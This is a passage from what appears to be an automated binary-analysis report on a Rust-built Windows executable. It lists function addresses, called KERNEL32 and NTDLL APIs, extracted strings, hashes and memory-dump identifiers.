Opcode ID: fc625e7f9b0ba36c3df04a8e94be71fc1dc29ea9b7cfa77f697e0b77c8d0e3b9
Instruction ID: 07f39a0e5179fc80dafa3787f8d7221811d9f8459bf9b502f1c4cc46be4e8ded
Opcode Fuzzy Hash: fc625e7f9b0ba36c3df04a8e94be71fc1dc29ea9b7cfa77f697e0b77c8d0e3b9
Instruction Fuzzy Hash: 27F0BE52F6A24204FA1DA6A739501BE40814F89BE0A1D8039DE1C97B8EFC6D96838700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF656783680, Relevance: 3.1, APIs: 2, Instructions: 135filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF6567837CC
GetProcessHeap.KERNEL32 ref: 00007FF65678380E

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateFileHeapProcess
String ID:
API String ID: 1145019889-0
Opcode ID: 33b7c2eb82234651ee32a902184ffc1dab544c84553bbf4684cd638fd1d6247f
Instruction ID: af4bd020f726473376245499e312822ad9e7b31cc265fac006f76b847b722043
Opcode Fuzzy Hash: 33b7c2eb82234651ee32a902184ffc1dab544c84553bbf4684cd638fd1d6247f
Instruction Fuzzy Hash: 4951D2A2E0828183FB258BA9956037A26E0EB45774F1C4635CE5DA32E4DF7EEC95C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF656783AE0, Relevance: 3.0, APIs: 2, Instructions: 29fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF656783B19
GetLastError.KERNEL32 ref: 00007FF656783B2E

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 3c644c31776223a57d554299aedba6e8765b2575b22625bd1b566aa9f0995475
Instruction ID: 34a2deba3dea47f56060faaf93bd08a123602caca6596a4388182541f750f3c4
Opcode Fuzzy Hash: 3c644c31776223a57d554299aedba6e8765b2575b22625bd1b566aa9f0995475
Instruction Fuzzy Hash: 9EF03032618A9286E7309BA6F45176AA290D7483A4F148334EABDC77D4DF7DD541CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF656783840, Relevance: 2.6, APIs: 2, Instructions: 83COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6567838FA
GetLastError.KERNEL32 ref: 00007FF656783918

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 73fdac780c48377372cd4321a71fec73b8e411a1a1ceb7c9c094de5ca8e1e41d
Instruction ID: f1d5800fad2ed38f5c74e53bd9f4e10b4590eee6696deb0f1a00404121011c66
Opcode Fuzzy Hash: 73fdac780c48377372cd4321a71fec73b8e411a1a1ceb7c9c094de5ca8e1e41d
Instruction Fuzzy Hash: 41316A725087808BE3308B69F4917AAB7A0FB84354F145124EBC953BA5EF7EE481CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566DC100, Relevance: 2.6, APIs: 2, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF6566DC11A
HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF6566DC127

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 7a2c902a9555592007775ad00c3502c3327022f689d45ba271437ca007469e55
Instruction ID: 325fa7239c4beaf428e1f6c0aee47908f379d6a4b655903928d05dc190358d75
Opcode Fuzzy Hash: 7a2c902a9555592007775ad00c3502c3327022f689d45ba271437ca007469e55
Instruction Fuzzy Hash: E1F0F622B0966502F6099B535D6026E5160BF48FD0F1C8438EE1CA7B86EE3DE5A3D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6567839A0, Relevance: 1.3, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6567839F4

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: f43223607848c3236bdf8a5188e62e2436bf82002add2a3b0f5cc429c10bd719
Instruction ID: 111ced14b9715fb32ffe0c1bbf502bd9913e9fafdd9ed7f0cb2fee99bea01a8c
Opcode Fuzzy Hash: f43223607848c3236bdf8a5188e62e2436bf82002add2a3b0f5cc429c10bd719
Instruction Fuzzy Hash: 7D018832A14B8581EB709B65F55076AA290EB447A0F148235EBE9977D4DF7DE8C1C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF656783B60, Relevance: 1.3, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF656783BA0

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 08bec05668763e61143465efbf4fdcac9b10d5bef6fd5fcb667b311e8db6ecd0
Instruction ID: 7ab39ff6ae000394e7a8a347244467d9f5a38a23ccea1cfcbf7e5c952af47bfd
Opcode Fuzzy Hash: 08bec05668763e61143465efbf4fdcac9b10d5bef6fd5fcb667b311e8db6ecd0
Instruction Fuzzy Hash: E1F0E232A04F0282EB309B52F0503AAB3E0EB58394F088030CA9D977A0DF3DE581C740

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF656786C00, Relevance: 42.6, APIs: 20, Strings: 4, Instructions: 573memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32 ref: 00007FF656786CA9
GetProcessHeap.KERNEL32 ref: 00007FF656786DD3
HeapFree.KERNEL32 ref: 00007FF656786DE0
ReleaseSRWLockExclusive.KERNEL32 ref: 00007FF656786DF1
GetProcessHeap.KERNEL32 ref: 00007FF65678716C
HeapFree.KERNEL32 ref: 00007FF656787179
GetProcessHeap.KERNEL32 ref: 00007FF656787264
HeapAlloc.KERNEL32 ref: 00007FF656787274
GetProcessHeap.KERNEL32 ref: 00007FF65678729A
HeapAlloc.KERNEL32 ref: 00007FF6567872AA
GetProcessHeap.KERNEL32 ref: 00007FF6567872C9
HeapAlloc.KERNEL32 ref: 00007FF6567872D9
GetProcessHeap.KERNEL32 ref: 00007FF6567875CA
HeapAlloc.KERNEL32 ref: 00007FF6567875DA
GetProcessHeap.KERNEL32 ref: 00007FF6567876B5
HeapAlloc.KERNEL32 ref: 00007FF6567876C5
GetProcessHeap.KERNEL32 ref: 00007FF6567876E0
HeapAlloc.KERNEL32 ref: 00007FF6567876F0

Strings

stdout, xrefs: 00007FF656786C30
called `Result::unwrap()` on an `Err` valueC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\zip-0.5.13\src\cp437.rs, xrefs: 00007FF65678733C, 00007FF65678767B
:, xrefs: 00007FF656786F58
formatter error, xrefs: 00007FF656787290, 00007FF6567876AB

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$Alloc$ExclusiveFreeLock$AcquireRelease
String ID: :$called `Result::unwrap()` on an `Err` valueC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\zip-0.5.13\src\cp437.rs$formatter error$stdout
API String ID: 3343015395-2579356816
Opcode ID: ff8e24a6ee05a9e8f9e1faeb8ce8e2acf30702ec481524b1d1cf9f4faa0a75dd
Instruction ID: bd4c5b36bd5cbf446889d10501d78714d61bb368b08ffa803934ecfd592e8e9b
Opcode Fuzzy Hash: ff8e24a6ee05a9e8f9e1faeb8ce8e2acf30702ec481524b1d1cf9f4faa0a75dd
Instruction Fuzzy Hash: 97527E3260DBC685EB618B14E4503EAB3A5FB84740F584136DACDA7B69EF3ED585CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF65678B090, Relevance: 39.5, APIs: 26, Instructions: 533memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF65678B0AE
HeapAlloc.KERNEL32 ref: 00007FF65678B0BB
GetProcessHeap.KERNEL32 ref: 00007FF65678B18F
HeapFree.KERNEL32 ref: 00007FF65678B19C
GetProcessHeap.KERNEL32 ref: 00007FF65678B1B9
HeapFree.KERNEL32 ref: 00007FF65678B1C6
GetProcessHeap.KERNEL32 ref: 00007FF65678B201
HeapAlloc.KERNEL32 ref: 00007FF65678B211
GetLastError.KERNEL32 ref: 00007FF65678B25D
GetProcessHeap.KERNEL32 ref: 00007FF65678B279
HeapFree.KERNEL32 ref: 00007FF65678B286
GetProcessHeap.KERNEL32 ref: 00007FF65678B296
HeapFree.KERNEL32 ref: 00007FF65678B2A3
GetProcessHeap.KERNEL32 ref: 00007FF65678B2BB
HeapFree.KERNEL32 ref: 00007FF65678B2C8
GetProcessHeap.KERNEL32 ref: 00007FF65678B7AC
HeapFree.KERNEL32 ref: 00007FF65678B7B9
GetProcessHeap.KERNEL32 ref: 00007FF65678B9A3

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$Free$Alloc$ErrorLast
String ID:
API String ID: 3695440593-0
Opcode ID: d380d3b44590831e705bc22ed650e1e9464115e7da63be9944ab8be4695e8af8
Instruction ID: 769f2b0660c8dba621ccf5b9cbaea691a91a8b8eba19dc210f44d5e5afdcdef7
Opcode Fuzzy Hash: d380d3b44590831e705bc22ed650e1e9464115e7da63be9944ab8be4695e8af8
Instruction Fuzzy Hash: 5332B712E0C78281FA309715E0653BA6290EF85B94F4C4136DA5DA37F5EF7DE986CB02

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF65677B1A0, Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 383memoryCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,00007FF656785D03,?,?,?,?,?,?,?,?), ref: 00007FF65677B1D6
WriteConsoleW.KERNEL32 ref: 00007FF65677B455
WriteConsoleW.KERNEL32 ref: 00007FF65677B4B6
GetLastError.KERNEL32 ref: 00007FF65677B4BF
GetLastError.KERNEL32 ref: 00007FF65677B59D
GetProcessHeap.KERNEL32 ref: 00007FF65677B5BD
HeapAlloc.KERNEL32 ref: 00007FF65677B5CD
GetProcessHeap.KERNEL32 ref: 00007FF65677B614
HeapAlloc.KERNEL32 ref: 00007FF65677B624
GetProcessHeap.KERNEL32 ref: 00007FF65677B643
HeapAlloc.KERNEL32 ref: 00007FF65677B653

Strings

called `Result::unwrap()` on an `Err` valueC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\zip-0.5.13\src\cp437.rs, xrefs: 00007FF65677B72F

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocErrorLastProcess$ConsoleWrite
String ID: called `Result::unwrap()` on an `Err` valueC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\zip-0.5.13\src\cp437.rs
API String ID: 112983666-3626884897
Opcode ID: 18eb2e0f7e450ba33489ed81c16b21fd6f51fe5d8dd1caef84a2207eec32963f
Instruction ID: eaa75f2bae4d839d6b1e67c23e2f125c7c3d7256827b2048f6874b75d7c2ec19
Opcode Fuzzy Hash: 18eb2e0f7e450ba33489ed81c16b21fd6f51fe5d8dd1caef84a2207eec32963f
Instruction Fuzzy Hash: B0E10122E0865242FB248B21D4343BA6691FF84B94F4D4635EE9DE77D6EE7EE584C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF656786160, Relevance: 19.9, APIs: 10, Strings: 3, Instructions: 370memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF6567862DC
GetProcessHeap.KERNEL32 ref: 00007FF6567864C5
HeapFree.KERNEL32 ref: 00007FF6567864D2
GetProcessHeap.KERNEL32 ref: 00007FF656786509
HeapAlloc.KERNEL32 ref: 00007FF656786519
GetProcessHeap.KERNEL32 ref: 00007FF65678653F
HeapAlloc.KERNEL32 ref: 00007FF65678654F
GetProcessHeap.KERNEL32 ref: 00007FF65678656E
HeapAlloc.KERNEL32 ref: 00007FF65678657E
LeaveCriticalSection.KERNEL32 ref: 00007FF6567865C3

Part of subcall function 00007FF656785140: GetProcessHeap.KERNEL32 ref: 00007FF656785381
Part of subcall function 00007FF656785140: HeapFree.KERNEL32 ref: 00007FF65678538E

Strings

called `Option::unwrap()` on a `None` value, xrefs: 00007FF656786286, 00007FF6567864EF
advancing IoSlice beyond its length, xrefs: 00007FF656786650
already borrowed, xrefs: 00007FF656786620

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$Alloc$CriticalFreeSection$EnterLeave
String ID: advancing IoSlice beyond its length$already borrowed$called `Option::unwrap()` on a `None` value
API String ID: 1348942571-3341816494
Opcode ID: 0aa7fb95b4abe9cffdb76b0f5f825d1ef4d2ea69f7bb675d7751734d1f6ff5fe
Instruction ID: fabfacd932e1e4fd5fc6bc0fa68bdbacdf5a797985813e7b03a09f09420aead4
Opcode Fuzzy Hash: 0aa7fb95b4abe9cffdb76b0f5f825d1ef4d2ea69f7bb675d7751734d1f6ff5fe
Instruction Fuzzy Hash: 64D12762F0864652FE549B11E4242BD6351EF84BD0F4C8135EA5EA7BE9EE3EE9C1C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF656779FC0, Relevance: 13.8, APIs: 9, Instructions: 277memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF656779F30: GetProcessHeap.KERNEL32 ref: 00007FF656779F89
Part of subcall function 00007FF656779F30: HeapFree.KERNEL32 ref: 00007FF656779F96

SetLastError.KERNEL32 ref: 00007FF65677A170
GetEnvironmentVariableW.KERNEL32 ref: 00007FF65677A17E
GetLastError.KERNEL32 ref: 00007FF65677A189
GetLastError.KERNEL32 ref: 00007FF65677A19D
GetLastError.KERNEL32 ref: 00007FF65677A1EA
GetProcessHeap.KERNEL32 ref: 00007FF65677A20A
HeapFree.KERNEL32 ref: 00007FF65677A217
GetProcessHeap.KERNEL32 ref: 00007FF65677A260
HeapFree.KERNEL32 ref: 00007FF65677A26D

Part of subcall function 00007FF6566DB880: GetProcessHeap.KERNEL32 ref: 00007FF6566DB96A
Part of subcall function 00007FF6566DB880: HeapAlloc.KERNEL32 ref: 00007FF6566DB977

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$ErrorLastProcess$Free$AllocEnvironmentVariable
String ID:
API String ID: 1304850682-0
Opcode ID: 8ee5ef2fca0fbf64fc1ab64c432ec4e5033c9dcf6a50db97a6097e34a5e8f6d9
Instruction ID: 0e23c0d0b465a0dfba2aa3fc4efa308abe26057ba45657d4b6efcf536519ea7d
Opcode Fuzzy Hash: 8ee5ef2fca0fbf64fc1ab64c432ec4e5033c9dcf6a50db97a6097e34a5e8f6d9
Instruction Fuzzy Hash: 35B1BF22A08F4281FA60CF11E8643AA77A4FB84794F5C4035EE8DA77A5EF3EE545C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566E4DB0, Relevance: 6.7, Strings: 5, Instructions: 456COMMON

Download Yara Rule

Strings

0, xrefs: 00007FF6566E4DD5
00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899, xrefs: 00007FF6566E5311, 00007FF6566E53ED
attempt to divide by zero, xrefs: 00007FF6566E4FEB
00000000, xrefs: 00007FF6566E4DC6
0x0X, xrefs: 00007FF6566E50E9, 00007FF6566E51E7, 00007FF6566E5298, 00007FF6566E53C8

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0$00000000$00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899$0x0X$attempt to divide by zero
API String ID: 0-3499520650
Opcode ID: 8bbfb77d712e74c24f091d7f7d507d19cbcb3bb47dbe0e349c33cc9868df1cfa
Instruction ID: b5b5fd9810457d36d4cdc80dc6e20225d883f43043b09ba4b99b82512706961c
Opcode Fuzzy Hash: 8bbfb77d712e74c24f091d7f7d507d19cbcb3bb47dbe0e349c33cc9868df1cfa
Instruction Fuzzy Hash: C0022872A08B8682E7648B14F8103FA73A1FB94754F584231DA9DA77E4DF3EE945CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6567101DF, Relevance: 5.1, Strings: 4, Instructions: 104COMMON

Download Yara Rule

Strings

setybdet, xrefs: 00007FF656710216
arenegyl, xrefs: 00007FF656710209
modnarod, xrefs: 00007FF6567101FC
uespemos, xrefs: 00007FF6567101EF

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: arenegyl$modnarod$setybdet$uespemos
API String ID: 0-66988881
Opcode ID: 3c34a17b729927b95d204d4c7a281d65aa17b7f4988ba84ea9a4bcf84109445f
Instruction ID: 7d39e6b2c2a157b9176edd29660e7ec1116dd7a1c94edcd967db97236fcc52b9
Opcode Fuzzy Hash: 3c34a17b729927b95d204d4c7a281d65aa17b7f4988ba84ea9a4bcf84109445f
Instruction Fuzzy Hash: 1E31D2A2F55B1403FE94E76566B523A6222B7147C0E00E536CF4DABF09DF2DA5B28240

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566D1F08, Relevance: 4.0, Strings: 3, Instructions: 274COMMON

Download Yara Rule

Strings

00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899, xrefs: 00007FF6566DFFDD, 00007FF6566E0060, 00007FF6566E0095, 00007FF6566E9F4E, 00007FF6566E9FD0, 00007FF6566EA005
a Display implementation returned an error unexpectedly, xrefs: 00007FF6566D1F78
0x0X, xrefs: 00007FF6566E9E4D, 00007FF6566E9EED

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899$0x0X$a Display implementation returned an error unexpectedly
API String ID: 0-2667446860
Opcode ID: bde70486d9a10e2f99ac8fbb7d781e7ffa9e2cd6bd698a98cd4d10b0e120f1db
Instruction ID: 205327cad5b973d2c79c2f7c63075ac36f2a8d15a756af8664a57dab3f39fbbd
Opcode Fuzzy Hash: bde70486d9a10e2f99ac8fbb7d781e7ffa9e2cd6bd698a98cd4d10b0e120f1db
Instruction Fuzzy Hash: C4B17972A08B5281EB248B28E4103B973A1FF947A4F584331DAAD677E0DF3ED911D741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566DC56B, Relevance: 3.1, Strings: 2, Instructions: 637COMMON

Download Yara Rule

Strings

called `Result::unwrap()` on an `Err` valueC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\zip-0.5.13\src\cp437.rs, xrefs: 00007FF6566DC54C
usize overflow when calculating b64 length, xrefs: 00007FF6566DCFE5

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: called `Result::unwrap()` on an `Err` valueC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\zip-0.5.13\src\cp437.rs$usize overflow when calculating b64 length
API String ID: 0-2638463929
Opcode ID: f28f9bdcc31f68c8ef4731e9515f5c6a3a2db1064fc58d60110a646416759041
Instruction ID: e6c8929e34b47bf572b6265e62453f6c326125c4fdc0f2b6875f64c1bd6cb085
Opcode Fuzzy Hash: f28f9bdcc31f68c8ef4731e9515f5c6a3a2db1064fc58d60110a646416759041
Instruction Fuzzy Hash: 04425B62A0D6CA82F714C711C4396FA2BA9DF85780F6C8537D64EA7391CE3EE442E741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF65671DAA9, Relevance: 3.1, APIs: 2, Instructions: 52filenativeCOMMON

Download Yara Rule

APIs

NtCancelIoFileEx.NTDLL ref: 00007FF65671DAD9
RtlNtStatusToDosError.NTDLL ref: 00007FF65671DB12

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: CancelErrorFileStatus
String ID:
API String ID: 1267829034-0
Opcode ID: 6d6f431722d6f22da58c202a17128b87671f6aeec9075b255c862f809edc0d71
Instruction ID: 4efc37ef4c048dae05282589bc9e3d6b522d889286fca0a67c29c03e2f4ae9d0
Opcode Fuzzy Hash: 6d6f431722d6f22da58c202a17128b87671f6aeec9075b255c862f809edc0d71
Instruction Fuzzy Hash: F5219F72A19F41C6EB208B14E8643AD33A4FB44788F544136C68D9B3A4EF7ED59AC740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6567BC7E0, Relevance: 2.8, Strings: 2, Instructions: 309COMMON

Download Yara Rule

Strings

Authenti, xrefs: 00007FF6567BCBA4
HygonGen, xrefs: 00007FF6567BCBC6

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: Authenti$HygonGen
API String ID: 0-2055753724
Opcode ID: 8cf89a6a4f212d479511ef2e0342f60d2cf9e5956b69dc5281e7ef18fd593ac8
